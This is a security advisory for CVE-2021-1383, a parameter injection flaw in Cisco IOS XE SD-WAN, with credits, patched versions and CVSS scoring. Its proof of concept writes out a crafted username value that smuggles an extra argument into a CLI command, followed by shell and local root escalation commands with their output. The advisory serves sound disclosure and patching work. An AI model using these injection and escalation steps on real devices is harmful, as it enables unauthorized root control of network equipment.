Cisco IOS XE SD-WAN - Parameter Injection Vulnerabilities (CVE-2021-1383)

Moderate **lbrossault** published **GHSA-vw54-f9mw-g46r** on Nov 20, 2021

Package

IOS XE SD-WAN (Cisco)

Affected versions	Patched versions
17.3.2	17.3.3

Description

Overview

Cisco cEdge provides sdwan wrapping commands that are executed on Confd. Confd show mode is not supposed to be accessible to cEdge users (only Confd conf mode is available).
In Confd show mode there is 'vshell' dangerous command than gives a shell on the IOS-XE.

Impact

As an authenticated user, by injecting parameters within the sdwan wrapping commands on IOS-XE cli we succeed to get a confd cli in show mode.
It is then possible to get shell as binos through `vshell` .
Local escalation privilege to unrestricted root shell is then trivial (e.g `telnet 127.0.0.1`)

Details

IOS-XE CLI provides a way to connect to Confd in conf mode with the following command:

```
NR-4221-3#request platform software sdwan shell username admin privilege 15

admin connected from 127.0.0.1 using console on NR-4221-3
NR-4221-3(config)#
```

This command execute internally:

```
binos    19383 19380  0 09:54 pts/2    00:00:00 /bin/bash /tmp/sw/rp/0/0/rp_daemons/mount/usr/binos/conf/execute_confd_cli.sh -a -u 'admin' -t -g PRIV15
binos    19432 19383  0 09:54 pts/2    00:00:00 confd_cli -C --user admin --groups PRIV15
```

The admin parameter lack of validation. It is possible to insert spaces and dash which result in parameter injection.
It then possible to change `groups` parameter to `sdwan-oper` . This group member force the use of confd in "show mode".

The prompt opened on confd offers all "show mode" functionalities including `vshell` .

Proof of Concept

```
NR-4221-3#request platform software sdwan shell username "admin'\" -g sdwan-oper \""  privilege 15

'admin' connected from 127.0.0.1 using console on NR-4221-3
NR-4221-3# vshell
bash-4.2$ id
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty),65535(docker) context=system_u:system_r:polaris_confd_t:s0
```

It execute internally:

```
binos    31016 31005  4 10:04 pts/2    00:00:00 /bin/bash /tmp/sw/rp/0/0/rp_daemons/mount/usr/binos/conf/execute_confd_cli.sh -a -u 'admin' -g sdwan-oper ' -t -g PRIV15
binos    31074 31016  0 10:04 pts/2    00:00:00 confd_cli -C --user 'admin' --groups sdwan-oper
```

It is then trivial to elevate privileges:

```
bash-4.2$ telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Linux 4.19.106 (NR-4221-3) (7)

2020/11/27 10:02:58 : <anon>
[NR-4221-3:~]$ id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
[NR-4221-3:~]$
```

Or by restarting a higher privileged session on confd:

```
bash-4.2$ confd_cli -C  -U 0 -G 0 -g sdwan-oper

'aa' connected from 127.0.0.1 using console on NR-4221-3
NR-4221-3# vshell
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root),4(tty),85(bprocs),65535(docker) context=system_u:system_r:polaris_confd_t:s0
```

Solution

Security patch

Cisco fixed this vulnerability from:

- 17.6.1a and later
- 17.5.1a and later
- 17.4.2 and later
- 17.4.1b and later
- 17.3.4a and later
- 17.3.3 and later
- 17.2.3 and laterf

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-xesdwpinj-V4weeqzU
https://nvd.nist.gov/vuln/detail/CVE-2021-1383

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: November 27, 2020
Date fixed: March 24, 2021

Severity

Moderate 6.0 / 10

CVSS base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2021-1383

Weaknesses

CWE-20